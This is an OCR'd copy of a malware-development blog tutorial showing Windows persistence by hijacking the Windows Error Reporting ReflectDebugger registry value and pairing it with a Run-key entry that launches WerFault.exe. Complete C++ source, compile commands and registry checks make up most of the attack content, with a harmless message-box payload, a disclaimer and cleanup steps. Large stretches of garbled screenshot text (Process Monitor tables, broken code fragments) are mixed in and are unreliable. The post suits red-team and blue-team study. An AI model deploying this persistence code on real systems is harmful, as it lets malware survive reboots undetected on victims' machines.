Malware development: persistence - part 18. Windows
Error Reporting. Simple C++ example.
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3 minute read

Hello, cybersecurity enthusiasts and white hackers!

<windows.h>
<string.h>

int main(int argc, char* argv[]) {
HKEY hkey = NULL;

const char* exe = "Z:\\2022-11-02-malware-pers-18\\hack.exe";

L] win10-x64 (peekaboo) [Running] - Oracle VM VirtualBox
const char* wf = "WerFault.exe -pr-1"; File Machine View Input Devices Help

LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINEF
(res == ERROR SUCCESS) {

RegSetValueEx(hkey, (LPCSTR)"ReflectDebL
RegCloseKey (hkey) ;
¥

res = RegOpenKeyEx(HKEY CURRENT USER, (LPC
(res == ERROR SUCCESS) {

RegSetValueEx(hkey, (LPCSTR)"meow", ©, F
RegCloseKey (hkey) ;
¥

0;

[ NORMAL TN

This post is based on my own research into one of the more interesting malware persistence
trick: via WwerFault .exe.

WerFault.exe

While studying the behavior of Windows Error Reporting, | came across an interesting
Registry path:
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HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Hangs

If we run command werFault.exe -pr <value> itis read
HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs\ReflectDebugger=

<path_value>. This command run werFault.exe on mode which is called ‘“reflective
debugger” and it is very interesting. For example run werFault.exe -pr 1 and check it via
Sysinternals Process Monitor:

winl0-x64 (peekaboo) [Running] - Oracle VM Virtual Box

File Machine View Input Devices Help

ell
Microsoft Corporation. All rights

Edit Event Filter Tools Options Help

LR YAO|& £ L /1E & Dol

Process Name PID Operation Path Result Detail

.. ERWerFaut &f . . SUCCESS Parent PID: 2
B VerFauit f ¥ Process Monitor Filter SUCCESS Thread 10" 5
.. ERWerFaut & SUCCESS Image Base:
.. EiWerfautt.e] Display entries matching these conditions: 5SUCCESS Image Base:
.. ElRWerFault & 8 5 REPARSE Desired Acce
. ERWerfaut of | Architecture Vs i | then |Include NAME NOT FOUND Desired Acce
:47:5... ElWerFaut & REPARSE Desired Acce
-i '\, i
75 gﬁi[iﬁﬁﬁi ==z s e ﬁiﬁfﬁ& FOUND E::Igr;d- ;ﬁ“
N \WerFautt & SUCCESS
- g:’:‘;:;:zt'z Column Relation Value Action gﬂggggg :3::;:‘18?::_5
... IV . :
.. EWerFautt & Process Mame contains ‘WerFault exe Include SUCCESS Image Base:
.. ERWerfaul = Process Name i Procmon exe Exclude REPARSE Desired Acce
5... EWerFaut & @ Process Name i Procexp exe Exclude NAME NOT FOUND Desired Acce
. @:NerFau?t.a. € Process Name i Autoruns exe Exclude REPARSE Des?red Accs
. @‘.:er:zau:.e. ProcmonGd. exe Exclude ES(I';!!CEEP;CS)T FOUND ges!re: xce
g"v:;F:En ] Frocerpéd.cxe Excude NAME NOT FOUND Length: 80
" ,' i @ Process Name i System Exclude :
... ERWerFaul & SUCCESS
. EWerFault &f 21 € Operstion begins with IRP_MJ_ Exclude NAME NOT FOUND Desired Acce
... EWerfaut & REPARSE Desired Acce
5... ERWerFaut of Cancel SUCCESS Desired Acce
.. ERWerFaul = SUCCESS Type: REG_|
.. ERWerFautt exe Egliose CR T Ty i) 1= SUCCESS
7475, ERWerFault exe 28 2 load Image C\Windows'System32\msvert dll SUCCESS Image Base:
7:475... EAWerFaut exe 88 2 Thread Create SUCCESS Thread ID: 4.,
= P P , -

<
Showing 210 of 233,202 events (0.090%) Backed by virtual memary

O Type here to search
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winl10-x64 (peekaboo) [Running] - Oracle VM VirtualBox

Machine View Input Devices Help

oft Corporation. All rights r

¥ Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter Tools Options Help

LRI YAO|&I £ £

Process Name PID Operation Path

WerFault exe 88 Frocess Start
&
WerFault exe read Create
WerFault 88 2 Thread C
e WerFault exe ad Image “Windows'\System 32\ WerFault exe
WerFault 88 % Load | C:\Windk 5 32\WerFault
. WerFault.exe ad Image SWVindows \System 32hntdl .
WerFault 88 o Load | C:\Winds 5 32ntdl dll
Bl WerFault exe 88 Ei’RegOpenKey HKLM%SYSTEM \CumentControl Set " Control*Session Manager'.Segment Heap
... ERWerFault.exe 88 Bi’RegOpenKey HKLM*System*CumentControl Set*Control\.Session Manager\Segment Heap
e WerFault exe eqUpenkey “CumentControl Set\Control\Session Manager
WerFault 28 [ RegOpenkKe: HKLM\SYSTEMC C 1SetC "5 M
... ERWerFault.exe 88 Ei’ﬂegOpenKey HKLM*System*CumentControl Set*Control\.Session Manager
e WerFault exe egQueryValue “System"\CumrentCaontrol Set*Control\Session Manager\ResourcePolicies
WerFault 88 [ RegQueryValue HKLM\S Ci Ci |SetC IS M, R Fol
... ERWerFault.exe 88 Bi’RegCIoseKey HKLM*System*CumentControl Set*Control\. Session Manager
... ERWerFault.exe 88 s CreateFile C:\Windows'\System32
WerFault.exe ad Image indows \System 32 kemel32.
WerFault 88 <2 Load | d 5 32vkemel32.dl
e WerFault exe ad Image SWindows\System 32 KemelBase
WerFault 88 < Load | C:\Winds 5 32\Keme/Base dil
... ERWerFault.exe 88 Bi’RegOpenKey HKLM*System*CumentControl Set*Control\Safe Boot\Option
e WerFault.exe egOpenkey SystemCumentControl Set*\Control\5afe Boot \Option
WerFault 28 [ RegOpenke: HELMAS Ci C |SetC I'\SafeBoot\Oy
WerFault exe eqUpenkey “oystemCumentControl Set Control\Sm Al
WerFault 88 [ RegOpenke HELMAS Ci C 15etC INSmA\GPADLL
. EiWerFault exe 88 Ei’ﬂegOpenKey HKLM*System*CumentControl Set*Control\ S \GP\DLL
WerFault exe 88 RegOpenkey HKLM"Software*Palicies Microsoft \Windows\ Safer'\Code ldentifiers
o
... ERWerFault.exe 28 [ RegQueryValue HKLM\SOFTWARE'Policies\Microsoft \Windows'safer\codsidentifiers\ Transparent Enabled
... EBWerFault.exe 29 [ RegCloseKey  HKLM\SOFTWARE"\Policies\Microsoft\Windows'safer'\codsidentifiers
. EiWerFault exe 88 Ei’ﬂegOpenKey HKC L Software* Policies Microsoft “Windows \ Safer'\Codeldentifiers
Bl WerFault exe 88 Ei’ RegOpenkey HKLM*SystemCumentControl Set*Control'\File System’.
... ERWerFault.exe 88 Bi’RegOpenKey HKLM*System*CumentControl Set*Control \File System
... EWerFault.exe 28 [ RegQueryValue  HKLM\System".CumentControl Set\Control \File System\LongPathsEnabled
... ERWerFault.exe 88 Ei’ﬂegClUseKey HKLM*System*CumrentControl Set*.Control*\File System
... ERWerFault.exe 88 < Load Image C:\Windows"\System32\msvert.dll
. EiWerFault exe 88 2 Thread Create
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Showing 210 of 240,044 events (0.087% Backed by virtual memory

O Type here to search

Add another filter:

Result Detail

SUCCESS Parert PID:
SUCCESS Thread ID: &
SUCCESS Image Base:
SUCCESS Image Base:
REPARSE Desired Acce
NAME NOT FOUND Desired Acce
REPARSE Desired Acee
SUCCESS Desired Acce
NAME NOT FOUND Length: 24
SUCCESS

SUCCESS Desired Acee
SUCCESS Image Base:
SUCCESS Image Base:
REPARSE Desired Acce
MNAME NOT FOUND Desired Acce
REPARSE Desired Acce
NAME NOT FOUND Desired Acce
5UCCESS Desired Acce
MNAME NOT FOUND Length: 80
SUCCESS

NAME NOT FOUND Desired Acce
REPARSE Desired Acce
SUCCESS Desired Acce
SUCCESS Type: REG_|
SUCCESS

SUCCESS Image Base:

SUCCESS Thread ID: 4,
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File Machine View

Input

Devices

oft Corporation. All

File Edit

LB YHAO| il £ R

Process Name
. ERWerFault el

Event  Filter

Tools  Options

PID Operation

. B \WerFault -

. EiWerFault g
I \WerFault e
:5... ERWerFault.e
.. ERWerFault.es
... ERWerFaut.e3
... ERWerFauli.e;
. EiWerFault e
I \WerFault e
5... ERWerFault.e
5. EWerFault.ea
... ERWerFautt.e3
. EiWerFault e
I \WerFault e
... ERWerFault.es
.. ERWerFault.e3
... ERWerFautt.e3
. EiWerFault e
I \WerFault e
... ERWerFault.es
.. ERWerFault.es
5. EWerFault.ea
... ERWerFauli.e;
. EiWerFault exe
i WerFault exe
. EiWerFault exe

Display entries matching ti

Result ~

Reset

winl0-x64 (peekaboc) [Running] - Oracle VM Virtual Box

Help

rights

Help

=i

Path

hese conditions:

is ~ | NAME NOT FOUND

~ | then |Include

Add Remove

Column

Process Name
Result

Relation Value Action

WerFault exe Include

NAME NOT FOUND

contains
Include

6 Process Name
@ Process Name
Process Name
@ Process Name
Process Name

@ Process Name

Exclude
Exclude
Exclude
Exclude
Exclude
Exclude

Procmon exe
Procexp.exe
Autoruns exe
Procmon64 exe
Procexpbd exe
System

B HegUpenkey

88 Ei’ RegQueryVal
88 B-j’ RegQueryVal

An O W

Showing 28 of 304,432 events (0.0091%)

O Type here to search

Cancel Appl

HRCWT Software Folicies WWicrasart Windows Windows Emor Reporting
ue HKLM'SOFTWARE\Microsoft \Windows\Windows Emor Reporting TraceFlags

4013

Tede...
8377...
B2d5...
62d5...

ue  HKLMWSOFTWARE\Microsoft \Windows\Windows Emor Reporting'Hangs“Reflect Debugger

Backed by virtual memory

As a result, we have a loophole for hijacking this value:

Resutt Detail

NAME NOT FOUND Desired Acce
NAME NOT FOUND Length: 24
NAME NOT FOUND Desired Acce
NAME NOT FOUND Desired Acce
NAME NOT FOUND Length: 80
MNAME NOT FOUND Desired Acce
NAME NOT FOUND Length: 24
NAME NOT FOUND Length: 16
NAME NOT FOUND Length: 24
NAME NOT FOUND Length: 20
MNAME NOT FOUND Length: 20
NAME NOT FOUND Desired Acce
NAME NOT FOUND Length: 20
NAME NOT FOUND Length: 20
NAME NOT FOUND Length: 16
NAME NOT FOUND Desired Acce
NAME NOT FOUND Desired Acce
NAME NOT FOUND Desired Acce
NAME NOT FOUND Desired Acce
NAME NOT FOUND Length: 524
NAME NOT FOUND Length: 524
NAME NOT FOUND Length: 524
NAME NOT FOUND Length: 524
NAME NOT FOUND Length: 524
NAME NOT FOUND Desired Acce
NAME NOT FOUND Length: 16
MNAME NOT FOUND Length: 1

/2022

2/20

| 43 K2 Right Ctrl
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Input

win10-x64 (peekaboo) [Running] - Oracle VM Virtual Box

Devices Help

on. All rights res

ault.exe

1

¥ Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter

LB YA ®|& & P

Process Name

. EfWerFault exe
... EBWerFault exe
... ERWerFault exe
... EBWerFault exe

. EiWerFault exe
... ERWerFault exe
... EBWerFault exe

. EiWerFault exe

Bl WerFault exe

. EBWerFault exe

. EBWerFault exe

Bl WerFault exe

.. EBWerFault exe
. EBWerFault exe
BN WerFault exe

.. ERWerFault exe
. BB WerFault exe
BN WerFault exe

. EiWerFault exe

. EBWerFault exe

. EWerFault exe
... ERWerFault exe
... EBWerFault exe

. EWerFault exe
... ERWerFault exe
... EBWerFault exe

. EBWerFault exe

Showing 28 of 319,697 events (0.0087%)

O Type here to search

atoi(argv[1]

Tocls  Options

PID Operation

28 [ RegQueryValue
a8 B? RegCpenkey
88 Bf’ RegOpenkey
38 [ RegQuenyValue
a8 B? RegCpenkey
88 Bf’ RegQuenyValue
38 [ RegQuenyValue
a8 B? RegQuenyValue
a8 Bf’ RegQuenyValue
38 [ RegQuenyValus
a8 B? RegCpenkey
a8 Bf’ RegQuenyValue
38 [ RegQuenyValus
a8 B? RegQuenyValue
a8 E’ RegCpenkey
88 E’ RegOpenkey
88 [ RegOpenkey
a8 E’ RegCpenkey
88 E’ RegQuenyValue
88 [ RegQueryValue
38 [ RegQuenyValue
88 Bf’ RegQuenyValue
88 [ RegQueryValue
38 [ RegOpenKey
88 Bf’ RegQuenyValue
28 [ RegQueryValue
a8 B? RegQuenyValue

IE

Help

Path

HELM®:
HELM®:
HKLM
HELM®:
HKCLA:
HKLM
HELM®:
HELM®:
HELI
HELMY:
HELMA:
HELI
HELMY:
HELMA:
HKLI
HELM!
HELMA:
HKLI
HELM!
HELMA:
HELMA:
HKLM!
HELMA:
HELMA:
HKLM!

2l

System“CumentControl Set*Control*.Session Manager'ResourcePolicies
System“CumrentControl Set*Control.SafeBoot "\Option
System“CumrentControl Set*Control* S GP\DLL

SOFTWARE\Policies"\Microsoft \Windows'safer'codeidentifiers'\ Transparent Enabled
Software'\Policies \Microsoft \Windows\Safer\Code ldentifiers

System“CumentControl Set*Control* Session Manager'ResourcePolicies
System“CumentControl Set\Control*.Session Manager'.Safe Dl SearchMode
System“CumentControl Set*Control*.Session Manager'ResourcePolicies
System*CumentControl Set*ControlLsa"FipsAlgorithm Policy

System“CumrentControl Set\Control'Lsa"\FipsAlgorithm Policy \ MDMEnabled
System“CumentControl Set'Policies \Microsoft\Cryptography Configuration
SOFTWARE\Microsoft\Ole*\PageAllocatorllse SystemHeap

SOFTWARE \Microsoft\Ole"\PageAllocatorSystemHeapls Private

SOFTWARE \Microsoft\Ole"AggressiveMTATesting

Software\Microsoft Ole"\Feature Development Properties

SOFTWARE\Microsoft\ AppModel\Look aside \Packages
Software\Microsoft'Ole\Feature Development Properties
SOFTWARE\Microsoft\OLEAUT
System“\CumentControl Set*Control \W M Securitybef Sec44fb 87-451-af de-ced 084013
System“CumentControl Set\Control\V
System“CumentControl Set*Control

System“CumentControl Set*Control\ WM Security’ b 87e 5 7e- Tbd0-43a3-a278-02e62d5..
System“CumrentControl Set\Control \WM\Security\2b87e57e-Tbd -4 3a3-a278-02262d5..

Software\PoliciesMicrosoft \Windows \Windows Emor Reporting
SOFTWARE\Microsoft'Windows \Windows Emor Reporting’ TraceFlags

HKLMY\SOFTWARE \Microsoft'Windows\Windows Emor RepertingHangs"Reflect Debugger

HELM®:

System“CumentControl et Services bam*UserSettings".5-1-5-21-1228083560-3515864 ..

Backed by virtual memory

So, what is the trick? We can replace registry value

HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Hangs\ReflectDebugger
with our evil application, because werFault.exe not only read this value but also run it. And

of course we can use it for persistence.

practical example

MI\Security\1377561d-3312-452c-ad 13cdalcdc...
WMINSecurity 7I30F74b-2328-4350-85c6-11Fd9377 ..

Result Detail

NAME NOT FOUND Length: 24
NAME NOT FOUND Desired Acce
NAME NOT FOUND Desired Acce
NAME NOT FOUND Length: 80
NAME NOT FOUND Desired Acce
NAME NOT FOUND Length: 24
NAME NOT FOUND Length: 16
NAME NOT FOUND Length: 24
NAME NOT FOUND Length: 20
NAME NOT FOUND Length: 20
NAME NOT FOUND Desired Acce
NAME NOT FOUND Length: 20
NAME NOT FOUND Length: 20
NAME NOT FOUND Length: 16
NAME NOT FOUND Desired Acce
NAME NOT FOUND Desired Acce
NAME NOT FOUND Desired Acce
NAME NOT FOUND Desired Acce
NAME NOT FOUND Length: 524
NAME NOT FOUND Length: 524
NAME NOT FOUND Length: 524
NAME NOT FOUND Length: 524
NAME NOT FOUND Length: 524
NAME NOT FOUND Desired Acce
NAME NOT FOUND Length: 16
NAME NOT FOUND Length: 144
NAME NOT FOUND Length: 40

For simplicity, as usually, my “evil” application is just meow-meow messagbox (hack.cpp):

/*

meow-meow messagebox

author: @cocomelonc
*/

#include <windows.h>

#pragma comment (1lib,

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,

nCmdShow) {
MessageBoxA(NULL,
return 0;

"Meow-meow!", "=A, .

"user32.1ib")

NA="
-

MB_OK);

LPSTR 1pCmdLine, int



And then, create script which create registry key value with my “evil” app:

int main(int argc, char* argv[]) {
HKEY hkey = NULL;

// malicious app
const char* exe = "Z:\\2022-11-02-malware-pers-18\\hack.exe";

// hijacked app
const char* wf = "WerFault.exe -pr 1";

// set evil app
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)"SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\Hangs", O ,
KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"ReflectDebugger", 0, REG_SZ, (unsigned char*)exe,
strlen(exe));
RegCloseKey(hkey);
}
}

Also, | used one of the classic trick for persistence:

// startup
res = RegOpenKeyEx(HKEY_CURRENT_USER,
(LPCSTR) "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", © , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"meow", O, REG_SZ, (unsigned char*)wf, strlen(wf));
RegCloseKey(hkey);

}

As a result, the final source code looks something like this (pers.cpp):
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/*

pers.cpp

windows persistense via WerFault.exe

author: @cocomelonc
https://cocomelonc.github.io/malware/2022/11/02/malware-pers-18.html
*/

#include <windows.h>

#include <string.h>

int main(int argc, char* argv[]) {
HKEY hkey = NULL;

// malicious app
const char* exe = "Z:\\2022-11-02-malware-pers-18\\hack.exe";

// hijacked app
const char* wf = "WerFault.exe -pr 1";

// set evil app
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR) "SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\Hangs", 0 ,
KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"ReflectDebugger", 0, REG_SZ, (unsigned char*)exe,
strlen(exe));
RegCloseKey(hkey);
}

// startup
res = RegOpenKeyEx(HKEY_CURRENT_USER,
(LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"meow", 0, REG_SZ, (unsigned char*)wf, strlen(wf));
RegCloseKey(hkey);
}

return 0;

}

demo

Let’s go to see everything in action. Compile our “evil” app:

X86_64-w64-mingw32-g++ -02 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -
ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-
constants -static-libstdc++ -static-libgcc -fpermissive
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[~/hacking/cybersec_blog/2622-11-02-malware-pers-18]
-gt++ hack.cpp hack.exe

) - [~/hacking/cybersec_blog/2022-11-02-malware-pers-18]

- - 1 cocomelonc cocomelonc 232 Nov 2 04:35 hack.cpp
-rwxr-xr-x 1 cocomelonc cocomelonc 14848 Nov 2 04:54 hack.exe
-rw-r--r-- 1 cocomelonc cocomelonc 1049 Nov 2 04:34 pers.cpp

) - [~/hacking/cybersec_blog/2022-11-02-malware-pers-18]

'y
and persistence script:

Xx86_64-w64-mingw32-g++ -02 pers.cpp -0 pers.exe -I/usr/share/mingw-w64/include/ -s -
ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-
constants -static-libstdc++ -static-libgcc -fpermissive

/hacking/cybersec_blog/2022-11-02-malware-pers-18]
pers.cpp pers.exe

) - [~/hacking/cybersec_blog/2022-11-02-malware-pers-18]

cocomelonc cocomelonc 15360 Nov 2 04:55 pers.exe
cocomelonc cocomelonc 14848 Nov 2 04:54 hack.exe
cocomelonc cocomelonc 232 Nov 2 04:35 hack.cpp
cocomelonc cocomelonc 1049 Nov 2 04:34 pers.cpp

) - [~/hacking/cybersec_blog/2022-11-02-malware-pers-18]

Before run everything, first of all, check registry key and value:
reg query "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Hangs\" /s

reg query "HKLM\SOFTWARE\Microsoft\Windows\Windows Error
Reporting\Hangs\ReflectDebugger" /s

Run “malware” for checking correctness:

.\hack.exe
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winl0-x64 (peekaboo) [Running] - Oracle VM Virtual Box

File Machine View Input Devices

Fir Directo

Meow-meow!

11-82-malwa

O Type here to search

Also, check registry keys which used for persistence logic:

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /s

Jetail

ngth: 24
tsired Acce
ssired Acce
ngth: 80
ssired Acce
ngth: 24
ngth: 16
ngth: 24
ngth: 20
ngth: 20
ssired Acce
ngth: 20
ngth: 20
ngth: 16
tsired Acce
ssired Acce
ssired Acce
ssired Acce
ngth: 524
ngth: 524
ngth: 524
ngth: 524
ngth: 524
ssired Acce
ngth: 16
ngth: 144
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win10-x64 (peekaboo) [Running] - Oracle VM Virtual Box

File Machine Vi Input Devices Help

malware-p

Time

cground

O Type here to search

Then, run pers.exe:

.\pers.exe

and check Windows Error Reporting registry key again:

Jetail
ngth: 24
tsired Acce
tsired Acce
ngth: 80
tsired Acce
ngth: 24
ngth: 16
ngth: 24
nath: 20
ngth: 20
tsired Acce
nath: 20
ngth: 20
ngth: 16
tsired Acce
isired Acce
tsired Acce
tsired Acce
ngth: 524
ngth: 524
ngth: 524
ngth: 524
ngth: 524
tsired Acce
ngth: 16
ngth: 144

reg query "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Hangs" /s
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winl0-x64 (peekaboo) [Running] - Oracle VM VirtualBox

Input Devices Help

cified re

ecified registry

ecified reg:

H pe here to search

S ¥| 68 B Right Ctrl

As you can see, key value is edited and we can check correctness via running:

WerFault.exe -pr 1
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<windows.h>

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
MessageBoxA (NULL,  "Meow-meow!","=".."=", MB 0K);
(

]
win10-x64 (peekaboo) [Running] - Oracle VM VirtualBex

Input Devices Help

rting\Hangs
hack.

Meow-meow!

NORMAI

Then, logout and login:
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win10-x64 (peekaboo) [Running] - Oracle VM Virtual Box

File Machine View Input Devices Help

L O

# W22 ¥| 6 0 Right Ctrl

and after a few seconds our meow-meow messagebox is popped-up as expected:
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L] win10-x64 (peekaboo) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Recycle Bin x6ddbg PE-bear malware

e 8

B 7:2022-11-02-malware-pers-18\hack.exe

Meow-meow!

B oK #EE " ¥ &0 Right Ctrl

You can check the properties of hack.exe via Process Hacker 2:
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File Machine View Input

Hacker View Tools Users Help
Dim
Prog

Mat
= File

e NJA

= m (UNVERIFIED)
[ Version: NfA

-,

Image file name:

win10-x64 (peekaboo) [Running] - Oracle VM VirtualBox

Devices

General statistice Performance Threads

Token

Help

Modules

Search Processes (Ctrl+K)

D

Memory Environment Handles GPU Comment

w Host
£ Driver Host
3 Windows Ser...

Drive

| \WBoxSvr'shared!2022-11-02-malware-pers-18\hack. exe

;

o [ (=]

Process

3 Windows Ser...

lows Search In...

Command line: | Z2:12022-11-02-malware-pers-18'\hack.exe 2556

st Additions Tra...

Current directory: | Cr\Windows\system32\

;

funtime Monit...

Started: | 49 seconds ago (8:14:10 AM 11,/2/2022)

| untime Process

PEB address: | 0x3825F4d0oo

Imane tyne: f4-hit

Parent: | Mon-existent process (2556)

Mitigation policies: | DEF (permanent); ASLR (high entropy)

=l=] 00 (=1 K ] [=] [=] ¢

Protection: Mone

2 EEEE &)

158 ProcessHaCKer exe

¢ SearchProtocolHost.exe
[ taskhostw.exe

[55] dilhost.exe

|/
5572
6008
6096

Permissio

- W |

lows Search Fil...
Meow-me ow!

Host

3 Windows Ser...

088 ™WIE WINLOWS-VIH.L.

219 ME

466 MB  WINDOWS-VIH.,
413 MB  WINDOWS-VIH..

ar Windows Ser...
Close o Device Graph...

AUsEr Process Hacker

Microsoft Windows Search Pr...

MUser  Host Process for Windows Tas
AUser  COM Surrogate

CPU Usage: 8.03%  Physical memory: 1 GB (32.19%) Processes: 62

O Type here to search

Also, pay attention that admin privileges required for hijacking Windows Error Reporting, but

for persistence we use low-level privileges:

Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\Windows Error
Reporting\Hangs" -Name "ReflectDebugger"

Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name

llmeOWH

15/19



<windows.h>

<string.h> -
L3 win10-x64 (peekaboo) [Running] - Oracle VM VirtualBox

int main(int argc, char* argv[]) { File Machine View Input Devices Help
HKEY -hkey = NULL;

const char* exe = "Z:\\2022-11-02-malware-pers-18\\hack.exe";
const char* wf = "WerFault.exe -pr-1";

LONG  res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE
(res ERROR_SUCCESS) {

RegSetValueEx(hkey, (LPCSTR)"ReflectDebugger", 0, REG_SZ,  (u Meow-meow!

RegCloseKey (hkey) ;
} [ ]

res = RegOpenKeyEx (HKEY_CURRENT_USER, - (LPCSTR)"SOFTWARE\\Micro
(res == ERROR_SUCCESS) {

RegSetValueEx(hkey, (LPCSTR)"wf", -0, REG_SZ, - (unsigned char*
RegCloseKey (hkey) ;
}

0;

r

B okF & mEE ¥ @8 Right Ctrl
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7 winl0-x64 (peekaboo) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

EX Windo owerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\User> reg guery

HKEY_LOCAL_MACHINEY\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Hangs
ReflectDebugger REG_SZ 2:42022-11-82-malware-pers-18\hack.exe

PS C:\Users\User> reg query ]
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersioniRun
OneDrive REG_SZ "C:\UsersiUseryAppDatatLocal\Microsoft\OneDrive\OneDrive. fbackground
Process Hacker 2 REG_SZ "C:\Program Files\Process Hacker 2%\ProcessHacker. -hide
wf REG_SZ WerFault.exe -pr 1
PS5 C:\UsersiUser> Remove-ItemProperty
PS C:\Users\User> reg query ]
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
OneDrive REG_SZ "C:\Users\User\AppDatailocal\Microsoft\OneDrive\OneDrive. /background

Process Hacker 2 REG_SZ "C:\Program Files\Process Hacker 2%\ProcessHacker. -hide

PS C:\Users\User> Remove-ItemProperty

PS5 C:WUsershUser:

821 AM
oA BEHY a0 U

B OokI #HEE T &8 Right Ctrl

B —
- winl0-x64 (peekaboo) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

EN Administrator: Windows PowerShell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> Remove-ItemProperty

PS C:\Windows\system32» reg query

P5 C:\Windows\system32> reg query
ERROR: The system was unable to find the specified registry key or value.
PS C:\Windows\system32> reg query

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
OneDrive REG_SZ "C:\Users\User\AppData‘\local\Microsoft\OneDrive\OneDrive.exe" /background
Process Hacker 2 REG_5Z "C:\Program Files\Process Hacker 2%ProcessHacker.exe"™ -hide

P5 C:\Windows\system32:

Which can you notice if you decide to “return everything back to its place”.




So, as you can see everything is worked perfectly! =*..A=

The next one was supposed to be 17, but it will come out together with the third part
about the theft of tokens. | couldn’t understand for 10 minutes why it doesn’t work for
me :)

L winl0-x64 (peekaboo) [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help

B

File Edit View Favorites Help

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting'Hangs

N VisualStudio ~ || Name Type Data

WAB ab) (Default) REG_SZ fvalue not set)

:xz”er ab| ReflectDebugger REG_SZ 742022-11-02-malware-pers-17\hack.exe
em

EN Administrator: Windows PowerShell - [m}

New-ItemProperty

ified registry key or v

pecified registr

ified registr

ind
@2-malwar

B o) #HE T ¥ @0 Right Ctrl

| don’t know if any APT in the wild used this tactic and trick, but, | hope this post spreads

awareness to the blue teamers of this interesting technique especially when create software,
and adds a weapon to the red teamers arsenal.

This is a practical case for educational purposes only.

MSDN Windows Error Reporting

DLL hijacking

DLL hijacking with exported functions
Malware persistence: part 1

source code in github

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
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https://learn.microsoft.com/en-us/windows/win32/wer/windows-error-reporting
https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html
https://cocomelonc.github.io/pentest/2021/10/12/dll-hijacking-2.html
https://cocomelonc.github.io/(/tutorial/2022/04/20/malware-pers-1.html)
https://github.com/cocomelonc/meow/tree/master/2022-11-02-malware-pers-18
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